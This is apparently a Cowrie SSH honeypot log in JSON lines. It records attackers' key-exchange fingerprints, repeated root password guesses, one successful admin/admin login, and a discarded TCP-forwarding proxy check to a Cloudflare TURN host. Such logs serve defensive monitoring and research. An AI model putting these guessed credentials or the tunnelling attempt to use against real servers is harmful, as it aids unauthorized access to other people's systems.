{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.852609Z","src_ip":"45.148.10.121","session":"b6b2ace33d0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!!","message":"login attempt [root/abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:03.929628Z","src_ip":"60.165.124.241","session":"3c3b0d8d8caa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:04.131362Z","src_ip":"45.148.10.121","session":"b6b2ace33d0d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:04.220603Z","session":"b6b2ace33d0d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:04.314107Z","src_ip":"45.148.10.121","session":"b6b2ace33d0d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:04.336281Z","src_ip":"45.148.10.121","session":"b6b2ace33d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:04.426771Z","src_ip":"45.148.10.121","session":"b6b2ace33d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:05.173369Z","src_ip":"60.165.124.241","session":"3c3b0d8d8caa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43162,"dst_ip":"10.17.0.5","dst_port":22,"session":"9223ccc8042e","protocol":"ssh","message":"New connection: 60.165.124.241:43162 (10.17.0.5:22) [session: 9223ccc8042e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:05.412889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:05.419342Z","src_ip":"60.165.124.241","session":"9223ccc8042e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:05.671956Z","src_ip":"60.165.124.241","session":"9223ccc8042e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ml123456","message":"login attempt [root/Ml123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:06.420315Z","src_ip":"60.165.124.241","session":"9223ccc8042e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:07.681209Z","src_ip":"60.165.124.241","session":"9223ccc8042e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45940,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b250a381df0","protocol":"ssh","message":"New connection: 60.165.124.241:45940 (10.17.0.5:22) [session: 0b250a381df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:07.925686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:07.930887Z","src_ip":"60.165.124.241","session":"0b250a381df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:08.170934Z","src_ip":"60.165.124.241","session":"0b250a381df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc-123","message":"login attempt [root/abc-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:08.929121Z","src_ip":"60.165.124.241","session":"0b250a381df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:10.175734Z","src_ip":"60.165.124.241","session":"0b250a381df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48880,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff1454eedde4","protocol":"ssh","message":"New connection: 60.165.124.241:48880 (10.17.0.5:22) [session: ff1454eedde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:10.437666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:10.441963Z","src_ip":"60.165.124.241","session":"ff1454eedde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:10.706821Z","src_ip":"60.165.124.241","session":"ff1454eedde4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"format123","message":"login attempt [root/format123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:11.471290Z","src_ip":"60.165.124.241","session":"ff1454eedde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:12.722474Z","src_ip":"60.165.124.241","session":"ff1454eedde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51738,"dst_ip":"10.17.0.5","dst_port":22,"session":"57991f650a48","protocol":"ssh","message":"New connection: 60.165.124.241:51738 (10.17.0.5:22) [session: 57991f650a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:12.941424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:12.945766Z","src_ip":"60.165.124.241","session":"57991f650a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:13.180898Z","src_ip":"60.165.124.241","session":"57991f650a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Salam@123","message":"login attempt [root/Salam@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:13.899283Z","src_ip":"60.165.124.241","session":"57991f650a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":38788,"dst_ip":"159.203.135.109","dst_port":22,"session":"05565c0e318c","protocol":"ssh","message":"New connection: 176.65.132.50:38788 (159.203.135.109:22) [session: 05565c0e318c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:14.606588Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:15.137209Z","src_ip":"60.165.124.241","session":"57991f650a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54656,"dst_ip":"10.17.0.5","dst_port":22,"session":"a98e8b44173c","protocol":"ssh","message":"New connection: 60.165.124.241:54656 (10.17.0.5:22) [session: a98e8b44173c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:15.371475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:15.377657Z","src_ip":"60.165.124.241","session":"a98e8b44173c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:15.418521Z","src_ip":"176.65.132.50","session":"05565c0e318c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:15.615947Z","src_ip":"60.165.124.241","session":"a98e8b44173c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password!@#$%","message":"login attempt [root/password!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:16.334146Z","src_ip":"60.165.124.241","session":"a98e8b44173c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:17.575247Z","src_ip":"60.165.124.241","session":"a98e8b44173c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57292,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ff04422d803","protocol":"ssh","message":"New connection: 60.165.124.241:57292 (10.17.0.5:22) [session: 5ff04422d803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:17.818705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:17.833917Z","src_ip":"60.165.124.241","session":"5ff04422d803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:18.083805Z","src_ip":"60.165.124.241","session":"5ff04422d803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123456!","message":"login attempt [root/Asd123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:18.820013Z","src_ip":"60.165.124.241","session":"5ff04422d803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":22828,"dst_ip":"159.203.135.109","dst_port":22,"session":"810490470570","protocol":"ssh","message":"New connection: 176.65.132.50:22828 (159.203.135.109:22) [session: 810490470570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:19.273497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:19.278524Z","src_ip":"176.65.132.50","session":"810490470570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:19.381335Z","src_ip":"176.65.132.50","session":"810490470570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E$R%T^Y&","message":"login attempt [root/!Q@W#E$R%T^Y&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:20.064620Z","src_ip":"176.65.132.50","session":"810490470570","protocol":"ssh"}
